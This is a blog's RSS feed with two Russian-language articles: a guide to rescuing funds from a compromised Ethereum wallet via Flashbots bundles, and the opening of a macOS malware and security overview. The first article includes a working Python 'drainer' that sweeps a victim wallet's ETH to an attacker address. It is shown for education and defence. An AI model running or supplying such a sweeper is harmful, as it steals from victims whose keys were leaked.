<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>@cppmyk</title><generator>teletype.in</generator><description><![CDATA[Software Engineer]]></description><image><url>https://img4.teletype.in/files/35/1f/351fe008-9a87-4485-add7-168458fdfc4b.png</url><title>@cppmyk</title><link>https://teletype.in/@cppmyk</link></image><link>https://teletype.in/@cppmyk?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=cppmyk</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/cppmyk?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/cppmyk?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Thu, 09 Apr 2026 01:05:24 GMT</pubDate><lastBuildDate>Thu, 09 Apr 2026 01:05:24 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@cppmyk/antidrain</guid><link>https://teletype.in/@cppmyk/antidrain?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=cppmyk</link><comments>https://teletype.in/@cppmyk/antidrain?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=cppmyk#comments</comments><dc:creator>cppmyk</dc:creator><title>How to AntiDrain | Спасаем средства из скомпрометированного кошелька</title><pubDate>Wed, 22 May 2024 20:53:57 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/e8/ea/e8eaa1e6-b019-4bf8-8e21-f180e95da8d9.png"></media:content><category>Software Developement</category><description><![CDATA[<img src="https://img3.teletype.in/files/e5/b4/e5b4f3e1-1e6c-47e6-818a-3494e01d6900.jpeg"></img>Обзор наивной реализации дрейнера и способа спасти средства из своего скомпрометированного аккаунта.]]></description><content:encoded><![CDATA[
  <hr />
  <p id="0hDS"><strong>Содержание:</strong></p>
  <ol id="QQ5X">
    <li id="P730"><a href="#cLPb">Введение</a></li>
    <li id="9QS3"><a href="#nsyd">Дрейнер</a><br />2.1. <a href="#ljht">Алгоритм</a><br />2.2. <a href="#Jhji">Реализация</a></li>
    <li id="uM22"><a href="#nX0b">Спасаем средства</a><br />3.1. <a href="#uhpl">Приватные пулы</a><br />3.2. <a href="#WzYL">Алгоритм</a><br />3.3. <a href="#loaF">Реализация</a><br />3.4. <a href="#abyF">Результат работы</a></li>
    <li id="Ub4e"><a href="#4SFb">Итоги</a></li>
  </ol>
  <hr />
  <p id="CgbP">Подписывайтесь на канал <a href="https://t.me/cppmyk_inc" target="_blank">cppmyk.inc</a>.</p>
  <hr />
  <h2 id="cLPb">1. Введение</h2>
  <p id="KNjT">В криптовалютном сообществе частенько можно наткнуться на людей, у которых украли приватный ключ или сид-фразу от одного или нескольких кошельков. Обычно в таком случае кошелек моментально лишается содержимого, но бывает и иначе, когда хакер не выводит все средства из кошелька которые, например, лежат в лендинговом протоколе или же пока еще не доступны для получения в случае дропов.</p>
  <p id="SFv9">Задача по возвращению оставшихся средств со взломанного кошелька, хоть и кажется на первый взгляд довольно простой, на деле является практически невыполнимой для рядового пользователя. Виной тому запущенный дрейнер, который ворует с кошелька жертвы нативный токен сети, как только она пытается перевести его для оплаты комиссии.</p>
  <p id="aPuO">Для человека, сколько-нибудь подкованного в программировании, разобраться с вышеупомянутой проблемой не представляет особой сложности, если он знаком с алгоритмом решения. </p>
  <p id="nXmD">В данной статье мы разберем, что из себя представляет дрейнер и как с ним бороться. Иными словами, предоставим алгоритм спасения средств из скомпрометированного кошелька и его реализацию на языке Python.</p>
  <blockquote id="uCkG">Все примеры будут разобраны на блокчейне Ethereum.<br />Код на GitHub: <a href="https://github.com/cppmyk/anti-drain/" target="_blank">link</a>.</blockquote>
  <p id="cECI"></p>
  <h2 id="nsyd">2. Дрейнер</h2>
  <p id="wu9x"><strong>Дрейнер (drainer/sweeper)</strong> — программное обеспечение, которое постоянно следит за изменениями баланса кошелька жертвы и ворует средства сразу после их поступления на счет, тем самым препятствуя попыткам жертвы забрать оставшиеся активы. </p>
  <p id="6j7I">В большинстве случаев реализация такого софта достаточно примитивная и не требует глубокого понимания работы блокчейна. Один из вариантов разберем далее. </p>
  <p id="H6AH"></p>
  <h3 id="ljht">2.1 Алгоритм</h3>
  <p id="Uum0">Начнем с алгоритма:</p>
  <ol id="9oRt">
    <li id="hwyT">Следим за появлением нового блока.</li>
    <li id="CJD7">Проверяем баланс кошелька жертвы.</li>
    <li id="aDCN">Если хватает нативного токена для оплаты комиссии трансфера, воруем деньги с кошелька.</li>
    <li id="0RXY">Переходим к пункту 1.</li>
  </ol>
  <p id="MU7t"></p>
  <h3 id="Jhji">2.2 Реализация</h3>
  <pre id="pWks" data-lang="python">import time

from eth_account import Account
from eth_account.datastructures import SignedTransaction
from eth_account.signers.local import LocalAccount
from eth_typing import ChecksumAddress
from hexbytes import HexBytes
from web3 import Web3
from web3.types import Wei, TxParams

ETH_HTTP_URL: str = &#x27;https://eth.llamarpc.com&#x27;
ETH_CHAIN_ID: int = 1

COMPROMISED_KEY: str = &quot;private_key&quot;

HACKER_ADDRESS: ChecksumAddress = Web3.to_checksum_address(&#x27;address&#x27;)
TRANSFER_GAS_LIMIT: int = 21000

w3: Web3 = Web3(Web3.HTTPProvider(ETH_HTTP_URL))
compromised: LocalAccount = Account.from_key(COMPROMISED_KEY)


def sweep() -&gt; None:
    gas_price: Wei = w3.eth.gas_price
    account_balance: Wei = w3.eth.get_balance(compromised.address)

    if account_balance &lt; gas_price * TRANSFER_GAS_LIMIT:
        return

    transaction: TxParams = {
        &#x27;chainId&#x27;: ETH_CHAIN_ID,
        &#x27;from&#x27;: compromised.address,
        &#x27;to&#x27;: HACKER_ADDRESS,
        &#x27;value&#x27;: account_balance - (gas_price * TRANSFER_GAS_LIMIT),
        &#x27;nonce&#x27;: w3.eth.get_transaction_count(compromised.address),
        &#x27;gas&#x27;: TRANSFER_GAS_LIMIT,
        &#x27;gasPrice&#x27;: gas_price
    }

    signed: SignedTransaction = compromised.sign_transaction(transaction)

    tx_hash: HexBytes = w3.eth.send_raw_transaction(signed.rawTransaction)
    w3.eth.wait_for_transaction_receipt(tx_hash)

    print(f&#x27;Sweep transaction: {tx_hash.hex()}&#x27;)


def main() -&gt; None:
    block_filter = w3.eth.filter(&#x27;latest&#x27;)
    interval = 1

    while True:
        for block_hash in block_filter.get_new_entries():
            block = w3.eth.getBlock(block_hash)
            print(f&quot;New Block: {block.number}&quot;)
            sweep()
        time.sleep(interval)


if __name__ == &#x27;__main__&#x27;:
    main()</pre>
  <p id="xMcl">Такой неказистой реализации уже достаточно, чтобы среднестатистический пользователь бросил попытки спасения своих средств, так как вручную он это вряд ли сможет сделать.</p>
  <blockquote id="rRlG">Дрейнеры, разумеется, могут быть более изощренными. Например, они могут следить за пулом неподтвержденных транзакций с целью поиска взаимодействий с кошельком жертвы и более надежного предотвращения вывода активов. Но любые подобные реализации не могут ничего сделать против приватных пулов, которые мы рассмотрим далее.</blockquote>
  <p id="1t4U"></p>
  <h2 id="nX0b">3. Спасаем средства</h2>
  <p id="V7jE">Мы уже поняли, что руками противостоять sweeper-боту — не лучшая затея. Поэтому попытаемся автоматизировать процесс спасения средств. </p>
  <p id="KJQF">Для начала рассмотрим технологии, которые будут полезны для наших задач, затем разберем алгоритм и его реализацию на Python, после чего увидим результат на <a href="https://etherscan.io/" target="_blank">Etherscan</a>.</p>
  <p id="4W2E"></p>
  <h3 id="uhpl">3.1. Приватные пулы</h3>
  <p id="VZrf">Ключевым элементом в борьбе с хакером является использование приватных пулов. Что же это такое?</p>
  <p id="EuYA">При стандартном использовании сети пользователи отправляют подписанные транзакции нодам блокчейна, которые, в свою очередь, сохраняют их в <a href="https://github.com/ethereum/go-ethereum/blob/master/core/txpool/txpool.go#L67" target="_blank">структуре TxPool</a> и <a href="https://github.com/ethereum/go-ethereum/blob/master/eth/handler.go#L429" target="_blank">начинают распространять</a> между всеми подключенными пирами. Это делает мемпул полностью публичным и доступным каждому участнику сети, с некоторыми оговорками (частные ноды все-таки не имеют доступа ко всем неподтвержденным транзакциям из-за особенностей реализации).</p>
  <p id="wVEr">Публичность дает возможность хакеру анализировать и фронтранить транзакции (ставить более высокий gas, за счет чего изменять свое положение в блоке), что будет мешать нам при попытке спасения средств. </p>
  <p id="bjd0">Тут на помощь приходят приватные пулы, дающие следующие возможности:</p>
  <ul id="9fpe">
    <li id="ZCas">Отправка транзакции в обход публичного мемпула.</li>
    <li id="tT41">Упаковка транзакций в так называемые бандлы (bundle, несколько транзакций в определенной последовательности).</li>
    <li id="dmWe">Избегание оплаты за провалившиеся транзакции (они либо включены в блок и выполнены успешно, либо не включены вовсе, если пользователь явно не указал, что допускает фейл некоторых транзакций).  </li>
  </ul>
  <p id="Pb1N">Идея работы приватных пулов:</p>
  <ol id="G17Z">
    <li id="1D7F">Пользователь отправляет одну или несколько транзакций (bundle) Builder-у блоков.</li>
    <li id="8GK4">Builder создает самый оптимальный блок из доступных транзакций.</li>
    <li id="oXEN">Builder отправляет блок в Relay.</li>
    <li id="SRjN">Relay, получивший много возможных блоков от различных Builder-ов, выбирает среди них самый оптимальный.</li>
    <li id="sEPq">Relay отправляет блок Validator-у.</li>
    <li id="vqfr">Validator, получивший блоки от различных Relay-ев, выбирает самый оптимальный.</li>
    <li id="LnpQ">Validator создает блок (если сейчас его очередь).</li>
  </ol>
  <p id="aZar">Схематически это выглядит примерно так:</p>
  <figure id="5BHM" class="m_column">
    <img src="https://img2.teletype.in/files/d3/91/d391106f-4f4d-4061-9796-d67c62036383.png" width="3576" />
    <figcaption>Схема работы приватных пулов</figcaption>
  </figure>
  <figure id="8wKm" class="m_column">
    <img src="https://img4.teletype.in/files/f9/e1/f9e148ce-f0bf-4e9a-82c6-1f92892cb83e.png" width="2644" />
    <figcaption>Схема взаимодействия участников</figcaption>
  </figure>
  <p id="96tl"></p>
  <h3 id="WzYL">3.2. Алгоритм</h3>
  <p id="saEs">Для примера представим следующую ситуацию: приватный ключ от нашего кошелька был украден, с баланса был выведен весь эфир, но при этом осталось некоторое количество ERC-20 токенов WETH, которые мы хотим вернуть себе.</p>
  <p id="2I8S">Введем следующие обозначения:</p>
  <ul id="jOTG">
    <li id="9fIr"><strong>Rescuer</strong> — кошелек-донор, с которого мы будем отправлять средства для покрытия комиссии на скомпрометированном аккаунте.</li>
    <li id="uYmR"><strong>Compromised</strong> — кошелек, который был взломан хакером и контролируется дрейнером.</li>
  </ul>
  <p id="owLz">Теперь, когда мы узнали о приватных пулах, алгоритм спасения средств предельно прост:</p>
  <ol id="9zmh">
    <li id="46GW">Формируем бандл:</li>
    <ol id="mh3V">
      <li id="5uRs">Депозит ETH для покрытия комиссии с кошелька <strong>Rescuer</strong>.</li>
      <li id="P5ie">Взаимодействие с контрактом WETH и трансфер средств с <strong>Compromised</strong> на <strong>Rescuer</strong>.</li>
    </ol>
    <li id="qzWx">Симулируем выполнение бандла через онлайн-симулятор (опционально, чтобы проверить его корректность).</li>
    <li id="hHES">Отправляем бандл билдеру.</li>
    <li id="MU3Z">Ждем включения в блок.</li>
  </ol>
  <p id="kX6V">Если наш бандл является достаточно привлекательным для потенциального валидатора с точки зрения прибыльности (награда либо через комиссию, либо прямой перевод средств на его адрес), то мы с высокой вероятностью попадем в блок.</p>
  <blockquote id="NpG7">Следует также учитывать, какому билдеру вы отправляете, так как с некоторыми придется ждать включения в блок продолжительное время.</blockquote>
  <p id="m67K"></p>
  <h3 id="loaF">3.3. Реализация</h3>
  <pre id="MtTw" data-lang="python">from eth_account.datastructures import SignedTransaction
from eth_typing import ChecksumAddress, BlockNumber
from flashbots import flashbot
from web3 import Web3, HTTPProvider
from eth_account.account import Account
from eth_account.signers.local import LocalAccount
from web3.contract import Contract
from web3.exceptions import TransactionNotFound
from web3.types import TxParams, Wei

from erc20_abi import ERC20_ABI

RESCUER_KEY: str = &quot;&quot;
COMPROMISED_KEY: str = &quot;&quot;
FLASHBOTS_KEY: str = &quot;&quot;

ETH_CHAIN_ID: int = 1
ETH_HTTP_URL: str = &#x27;https://eth.llamarpc.com&#x27;

WETH_CONTRACT_ADDRESS: ChecksumAddress = Web3.to_checksum_address(&#x27;0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2&#x27;)
WETH_TRANSFER_GAS_LIMIT: int = 100000
ETH_TRANSFER_GAS_LIMIT: int = 21000

WETH_AMOUNT_TO_RESCUE: Wei = Web3.to_wei(0.001, &#x27;ether&#x27;)

rescuer: LocalAccount = Account.from_key(RESCUER_KEY)
compromised: LocalAccount = Account.from_key(COMPROMISED_KEY)
signer: LocalAccount = Account.from_key(FLASHBOTS_KEY)

w3: Web3 = Web3(HTTPProvider(ETH_HTTP_URL))
flashbot(w3, signer)


def build_erc20_transfer_transaction(sender_address: ChecksumAddress, destination_address: ChecksumAddress,
                                     amount: Wei, gas_price: Wei, nonce: int) -&gt; TxParams:
    contract: Contract = w3.eth.contract(address=WETH_CONTRACT_ADDRESS, abi=ERC20_ABI)

    tx: TxParams = contract.functions.transfer(destination_address, amount).build_transaction(
        {
            &#x27;from&#x27;: sender_address,
            &#x27;gas&#x27;: WETH_TRANSFER_GAS_LIMIT,
            &#x27;gasPrice&#x27;: gas_price,
            &#x27;nonce&#x27;: nonce
        }
    )

    return tx


def build_send_transaction(destination_address: ChecksumAddress, amount: Wei, gas_price: Wei, nonce: int) -&gt; TxParams:
    tx: TxParams = {
        &#x27;to&#x27;: destination_address,
        &#x27;value&#x27;: amount,
        &#x27;gas&#x27;: ETH_TRANSFER_GAS_LIMIT,
        &#x27;gasPrice&#x27;: gas_price,
        &#x27;nonce&#x27;: nonce,
        &#x27;chainId&#x27;: ETH_CHAIN_ID
    }

    return tx


def main():
    print(f&#x27;Rescuer address: {rescuer.address}&#x27;)
    print(f&#x27;Compromised address: {compromised.address}&#x27;)
    print(&#x27;-&#x27; * 100)

    gas_price: Wei = w3.eth.gas_price
    eth_to_cover_transfer: Wei = Wei(gas_price * WETH_TRANSFER_GAS_LIMIT)

    rescuer_nonce: int = w3.eth.get_transaction_count(rescuer.address)
    deposit_tx: TxParams = build_send_transaction(compromised.address, eth_to_cover_transfer, gas_price, rescuer_nonce)
    deposit_tx_signed: SignedTransaction = rescuer.sign_transaction(deposit_tx)

    compromised_nonce: int = w3.eth.get_transaction_count(compromised.address)
    weth_transfer_tx: TxParams = build_erc20_transfer_transaction(compromised.address, rescuer.address,
                                                                  WETH_AMOUNT_TO_RESCUE, gas_price, compromised_nonce)
    weth_transfer_tx_signed: SignedTransaction = compromised.sign_transaction(weth_transfer_tx)

    bundle = [
        {&#x27;signed_transaction&#x27;: deposit_tx_signed.rawTransaction},
        {&#x27;signed_transaction&#x27;: weth_transfer_tx_signed.rawTransaction},
    ]

    while True:
        block: BlockNumber = w3.eth.block_number

        print(f&#x27;Simulating on block {block}&#x27;)
        try:
            w3.flashbots.simulate(bundle, block)
            print(&#x27;Simulation successful.&#x27;)
            print()
        except Exception as e:
            print(&quot;Simulation error&quot;, e)

        print(f&quot;Sending bundle targeting block {block + 1}&quot;)

        send_result = w3.flashbots.send_bundle(
            bundle,
            target_block_number=block + 1
        )
        print(&quot;bundleHash&quot;, w3.toHex(send_result.bundle_hash()))

        stats_v2 = w3.flashbots.get_bundle_stats_v2(
            w3.toHex(send_result.bundle_hash()), block
        )
        print(&quot;bundleStats v2&quot;, stats_v2)

        try:
            receipts = send_result.receipts()
            print(f&quot;Bundle was mined in block {receipts[0].blockNumber}&quot;)
            break
        except TransactionNotFound:
            print(f&quot;Bundle not found in block {block + 1}&quot;)
        print(&#x27;-&#x27; * 100)

    print(&#x27;Finished&#x27;)


if __name__ == &quot;__main__&quot;:
    main()
</pre>
  <blockquote id="Kxhb">FLASHBOTS_KEY — это приватный ключ, который используется для подписания бандла. Он не обязан соответствовать какому-то реальному кошельку. Flashbots использует этот механизм в своей системе репутации пользователей.</blockquote>
  <p id="CgUv"></p>
  <h3 id="abyF">3.4. Результат работы</h3>
  <p id="BE1E">Что ж, проверим на практике.</p>
  <p id="KY2f">Подождав некоторое время, бандл был включен в блок <strong><a href="https://etherscan.io/txs?block=19924093&ps=10&p=20" target="_blank">19924093</a></strong>.</p>
  <p id="SyPp">Транзакция с кошелька-донора (11-е место в блоке) - <a href="https://etherscan.io/tx/0x9d7b3f3134c1b1ab50030572e066f07862247bc7b6c9f830c5b5bfb699c2e6c8" target="_blank">link</a>.<br />Транзакция со скомпрометированного кошелька (12-е место в блоке) - <a href="https://etherscan.io/tx/0x8ef5a8990318c95a0d7583ec997a9c48ccea36527856b40f7825e5028e5d06be" target="_blank">link</a>.</p>
  <figure id="qkVn" class="m_column">
    <img src="https://img1.teletype.in/files/8e/aa/8eaa1916-d565-47ef-9403-1a2c9d9b8aab.png" width="2840" />
    <figcaption>Блок 19924093</figcaption>
  </figure>
  <p id="lHa1">Как мы видим, транзакции были включены друг за другом, как мы и хотели. А кроме того, прошли в обход публичного пула транзакций, следовательно хакер бы их не увидел.</p>
  <p id="1rdR"></p>
  <h2 id="4SFb">4. Итоги</h2>
  <figure id="aV4Q" class="m_column">
    <img src="https://img3.teletype.in/files/68/93/68939cdc-0dae-4e6c-9ce7-57994b0d2794.png" width="1186" />
    <figcaption>Че?</figcaption>
  </figure>
  <hr />
  <p id="Q6nF">Подписывайтесь на канал <a href="https://t.me/cppmyk_inc" target="_blank">cppmyk.inc</a>.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@cppmyk/macos-security</guid><link>https://teletype.in/@cppmyk/macos-security?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=cppmyk</link><comments>https://teletype.in/@cppmyk/macos-security?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=cppmyk#comments</comments><dc:creator>cppmyk</dc:creator><title>Безопасность macOS | Вирусология и способы защиты</title><pubDate>Mon, 15 Apr 2024 17:03:43 GMT</pubDate><media:content medium="image" url="https://img1.teletype.in/files/c9/c9/c9c95369-f68d-4600-8444-c2bae477170d.png"></media:content><category>Cybersecurity</category><description><![CDATA[<img src="https://img3.teletype.in/files/6e/98/6e985e43-b20e-43e2-a01a-bc9a712abce9.jpeg"></img>Подробный разбор встроенных средств безопасности macOS и введение в вирусный анализ на примере разбора Atomic macOS Stealer.]]></description><content:encoded><![CDATA[
  <hr />
  <p id="0hDS"><strong>Содержание:</strong></p>
  <ol id="QQ5X">
    <li id="P730"><a href="#cLPb">Введение</a></li>
    <li id="9QS3"><a href="#xh98">Способы заражения</a><br />2.1. <a href="#TlS6">Фальшивые приложения</a><br />2.2. <a href="#RT4k">Фальшивые обновления</a><br />2.3. <a href="#t9vP">Пиратские/взломанные приложения</a><br />2.4. <a href="#HlXg">Зараженные приложения</a><br />2.5. <a href="#S7n6">Атаки на разработчиков</a><br />2.6. <a href="#KXY0">Макросы Microsoft Office</a><br />2.7. <a href="#Ry10">Атаки на цепь поставок</a><br />2.8. <a href="#CCsE">Эксплойты</a></li>
    <li id="uM22"><a href="#JnDD">Механизмы защиты в macOS</a><br />3.1. <a href="#mjNo">Карантин</a><br />3.2. <a href="#lXei">Подписи</a><br />3.3. <a href="#lRh4">XProtect</a><br />3.4. <a href="#S91S">Нотаризация</a><br />3.5. <a href="#Aq4I">Gatekeeper</a><br />3.6. <a href="#v7hH">TCC</a></li>
    <li id="eJUU"><a href="#5pxF">Закрепление в системе</a><br />4.1. <a href="#WlJv">Login Items</a><br />4.2. <a href="#dAjn">Launch Agents &amp; Daemons</a></li>
    <li id="GxmM"><a href="#25Iy">Полезные утилиты</a><br />5.1. <a href="#k3cT">LuLu</a><br />5.2. <a href="#xnxu">KnockKnock</a><br />5.3. <a href="#QfU9">BlockBlock</a><br />5.4. <a href="#jhLw">What&#x27;s Your Sign</a><br />5.5. <a href="#BV6u">KeePassXC</a></li>
    <li id="ZOvl"><a href="#fO3e">Анализ вируса Atomic macOS Stealer (AMOS)</a><br />6.1. <a href="#fBZK">Распространение</a><br />6.2. <a href="#OX6D">Статический анализ</a><br />     6.2.1. <a href="#D4OR">GrabChromium</a><br />     6.2.2. <a href="#JLrV">keychain</a><br />     6.2.3. <a href="#MVHi">FileGrabber</a><br />     6.2.4. <a href="#rMPW">GrabFirefox</a><br />     6.2.5. <a href="#JHJ6">ColdWallets</a><br />     6.2.6. <a href="#Zo0Z">sendlog</a><br />6.3. <a href="#zWZr">Динамический анализ</a></li>
    <li id="vZEN"><a href="#sHsa">Итоги</a></li>
  </ol>
  <hr />
  <p id="CgbP">Подписывайтесь на канал <a href="https://t.me/cppmyk_inc" target="_blank">cppmyk.inc</a>.</p>
  <hr />
  <h2 id="cLPb">1. Введение</h2>
  <p id="RbSl">macOS имеет репутацию неприступной системы, для которой вирусов либо вообще не существует, либо встроенные средства защиты настолько мощные, что на них можно не обращать внимание.</p>
  <p id="Jm0z">Разумеется, это не соответствует действительности и вина в популярности этого заблуждения лежит на самой компании Apple: ее <a href="https://www.wired.com/2012/06/mac-viruses/" target="_blank">заявлениях</a> о том, что их компьютеры не восприимчивы к вирусам, и на подобных <a href="https://www.youtube.com/watch?v=sdF5IsyOxU4" target="_blank">рекламах</a>. </p>
  <p id="JRMS">Во время распространения этих мифов, система борьбы с вредоносным программным обеспечением в устройствах под управлением macOS оставляла желать лучшего. Тем не менее, с того момента Apple постепенно стремилась улучшать безопасность своих пользователей, вводя новые и более современные механизмы, способствующие обеспечению этой самой безопасности.</p>
  <p id="Yzqa">Несмотря на это, количество вирусов для macOS постоянно увеличивается. Согласно ежегодным отчетам <a href="https://objective-see.org/blog.html" target="_blank">Objective-See</a>, количество найденного ранее незамеченного вредоносного программного обеспечения за предыдущие года было следующим:</p>
  <ul id="IHAV">
    <li id="weCY">2020 год - 7 экземпляров</li>
    <li id="1vFq">2021 год - 8 экземпляров</li>
    <li id="emKP">2022 год - 13 экземпляров</li>
    <li id="5VLb">2023 год - 20 экземпляров</li>
  </ul>
  <p id="UNqp">Одна из причин - доля компьютеров Apple на рынке увеличивается. Если раньше разработчикам подобного рода софта не было резона адаптировать его под macOS, так как ей пользуется незначительное количество людей, то сейчас этот смысл вырисовывается и все большее количество злоумышленников обращают свое внимание на эту систему.</p>
  <p id="hcEE">В этой статье мы изучим текущее состояние встроенных механизмов защиты и сосредоточимся только на программной части. То есть, возможные атаки на физические компоненты не будут рассмотрены, хотя они <a href="https://arstechnica.com/security/2024/03/hackers-can-extract-secret-encryption-keys-from-apples-mac-chips/" target="_blank">имеют место быть</a>.</p>
  <p id="kGu9">Также, будут рассмотрены популярные векторы атаки на пользователей и полезные программы, которые могут служить дополнительным слоем защиты.</p>
  <p id="l2Gt">В конце мы подробно разберем недавний и все еще популярный троян, ворующий данные - Atomic macOS Stealer (AMOS). На этом примере можно ознакомиться с процессом анализа вредоносных приложений, разработанных для macOS.</p>
  <hr />
  <h2 id="xh98">2. Способы заражения</h2>
  <p id="Maxo">Способом заражения, или вектором атаки, мы будем называть процесс, при помощи которого вредоносная программа может быть запущена в системе.</p>
  <p id="FUmy">В большинстве случаев вирус не попадает в систему скрытно (хотя такое также возможно и будет рассмотрено в данной главе), а проникает с активного согласия ее владельца. Файл должен быть каким-то образом доставлен в систему и запущен на ней. </p>
  <p id="cVOv">Таким образом, основной метод заражения состоит в том, чтобы обмануть пользователя и заставить его запустить вирус самостоятельно.</p>
  <p id="gWdN">Использование нескольких векторов атак одновременно не является редкостью, а их разделение достаточно условно. Тем не менее, давайте попытаемся подробнее рассмотреть наиболее часто встречающиеся среди них.</p>
  <p id="gpPv"></p>
  <h3 id="TlS6">2.1. Фальшивые приложения</h3>
  <p id="9CZw">Вредоносное ПО часто маскируется под безобидные популярные приложения. Сайт, как и функционал зараженного приложения, могут один в один соответствовать оригиналу (за исключением URL сайта и подписей, которые мы рассмотрим далее), что не вызовет никаких подозрений у рядового пользователя.</p>
  <p id="U8Q6">Как пример, можем рассмотреть OSX.ZuRu - вирус, который маскировался под известный эмулятор терминала iTerm2.</p>
  <figure id="PV3l" class="m_column">
    <img src="https://img4.teletype.in/files/f7/ab/f7abd785-88fb-4843-b7b0-4786b0d957fb.png" width="1132" />
    <figcaption>Сайт, распространяющий вирус OSX.ZuRu под видом эмулятора терминала iTerm2</figcaption>
  </figure>
  <p id="XmSW">Сайт идентичен тому, с которого можно скачать оригинальное приложение.</p>
  <p id="pdQN">Можно выделить следующий интересный момент с точки зрения вектора атаки: ссылка на фейковый сайт была первой в списке китайского поисковика Baidu за счет приобретенного спонсорства (у Google также есть такой функционал):</p>
  <figure id="T6yr" class="m_column">
    <img src="https://img1.teletype.in/files/45/db/45dbff15-cd88-4ca0-9301-797942b0ceb1.png" width="720" />
    <figcaption>Результаты поиска по запросу &#x27;iterm2&#x27; в поисковике Baidu</figcaption>
  </figure>
  <p id="T247"></p>
  <h3 id="RT4k">2.2. Фальшивые обновления</h3>
  <p id="6yBL">Похожий на предыдущий вектор атаки - представление вируса в виде обновления знакомого вам приложения.</p>
  <p id="mPQl">Маскировка под Adobe Flash Player стара как мир, но при этом не перестает использоваться злоумышленниками, что, вероятно, говорит о ее эффективности - пользователи продолжают вестись на этот обман.</p>
  <figure id="mp2p" class="m_column">
    <img src="https://img4.teletype.in/files/b7/36/b736c19f-899a-4899-9b9f-486f0421ff8d.png" width="1550" />
    <figcaption>Фальшивое обновление Adobe Flash Player (вирус OSX.Shlayer)</figcaption>
  </figure>
  <p id="kFd1"></p>
  <h3 id="t9vP">2.3. Пиратские/взломанные приложения</h3>
  <p id="jr0X">Apple предоставляет множество встроенных механизмов, которые обеспечивают безопасность системы (рассмотрим их в следующей главе). macOS по умолчанию считает приложение небезопасным и препятствует его распространению различными способами. Для создания доверия к своему приложению, разработчик должен провести ряд действий, таких как получение сертификата для подписи, подпись содержимого и его нотаризация (проверка на серверах Apple).</p>
  <p id="shmm">Для обхода лицензии необходимо модифицировать целевое приложение, что, в свою очередь, сломает его оригинальную подпись. Это означает, что практически все такие образцы не имеют никаких гарантий безопасности. И если пользователь не обладает достаточными знаниями в анализе вредоносного программного обеспечения, он подвергает свой компьютер большому риску.</p>
  <p id="7Pvf">Один из надежных способов заразить свой компьютер - скачивание и установка пиратского приложения.</p>
  <figure id="sFsR" class="m_column">
    <img src="https://img4.teletype.in/files/7d/e4/7de4d7c9-c163-4977-b5b4-4a044d7280f9.png" width="1850" />
    <figcaption>Пиратское приложение Little Snitch, зараженное вирусом OSX.EvilQuest</figcaption>
  </figure>
  <p id="QhrR"></p>
  <h3 id="HlXg">2.4. Зараженные приложения</h3>
  <p id="wIKe">В то время как в предыдущих векторах атаки вирусы стараются мимикрировать под добропорядочные приложения, которые всем знакомы, существуют также варианты атак, когда вредоносное программное обеспечение разрабатывается в виде нового проекта. </p>
  <p id="uLal">Рассмотрим на примере вируса <strong>OSX.ElectroRAT</strong>. </p>
  <p id="elXc">Для него был создан правдоподобный сайт, который предоставлял торговый терминал для криптовалютных бирж, поддерживащий три операционные системы (Windows, macOS и Linux).</p>
  <figure id="6IZc" class="m_column">
    <img src="https://img4.teletype.in/files/b1/b1/b1b1deff-fdc9-41dd-95f6-2dd1e18b9e33.png" width="1489" />
    <figcaption>Веб-сайт, распространяющий OSX.ElectroRAT под видом торгового терминала</figcaption>
  </figure>
  <p id="8knd">После скачивания версии для macOS, пользователь мог увидеть приложение <strong>eTrade.app</strong>, выглядящее вполне себе легитимно.</p>
  <figure id="8f7Q" class="m_column">
    <img src="https://img4.teletype.in/files/bb/06/bb065e52-c2e8-4124-94d9-0835637f760b.png" width="1842" />
    <figcaption>Интерфейс eTrade.app (OSX.ElectroRAT)</figcaption>
  </figure>
  <p id="cFDT">Одновременно с появлением интерфейса, пользователь также получал к себе в систему полнофункциональный Remote Access Trojan (RAT) с практически неограниченным доступом к системе. </p>
  <p id="r48C">Разбор <strong>OSX.ElectroRAT</strong> можно найти <a href="https://objective-see.org/blog/blog_0x61.html" target="_blank">тут</a>.</p>
  <p id="hzn5">В качестве следующего примера рассмотрим стиллер <strong>OSX.PureLand</strong>, который был также таргетирован на крипто-пользователей. </p>
  <p id="aESB">Pure Land, на первый взгляд, имела все признаки типичной Play-To-Earn игры:</p>
  <ul id="q7aZ">
    <li id="O8ss">Веб-сайт, показывающий трейлер геймплея</li>
  </ul>
  <figure id="fF9e" class="m_column">
    <img src="https://img2.teletype.in/files/52/8b/528b3e31-be13-4ee2-89f7-f43462c07a4c.png" width="2520" />
    <figcaption>Веб-сайт Pure Land</figcaption>
  </figure>
  <ul id="N61b">
    <li id="lXJO">Закрытая альфа-версия, для доступа к которой необходим код</li>
  </ul>
  <figure id="MoBN" class="m_column">
    <img src="https://img4.teletype.in/files/b0/9e/b09ebf7e-6fe7-4827-858e-76a101effa5c.png" width="1922" />
    <figcaption>Веб-сайт Pure Land требует код для доступа к альфа-версии</figcaption>
  </figure>
  <ul id="EcNi">
    <li id="AWm3">NFT коллекция</li>
  </ul>
  <figure id="YqX8" class="m_column">
    <img src="https://img3.teletype.in/files/2f/c3/2fc3b9eb-527e-4797-beeb-0eefc45c3760.png" width="1984" />
    <figcaption>NFT коллекция Pure Land</figcaption>
  </figure>
  <ul id="19Vf">
    <li id="edv2">Twitter с фейковой или проплаченной поддержкой проекта</li>
  </ul>
  <figure id="2Zql" class="m_column">
    <img src="https://img3.teletype.in/files/60/12/60124dd3-2bc1-4696-aba9-8e64177fa3de.png" width="2196" />
    <figcaption>Twitter Pure Land</figcaption>
  </figure>
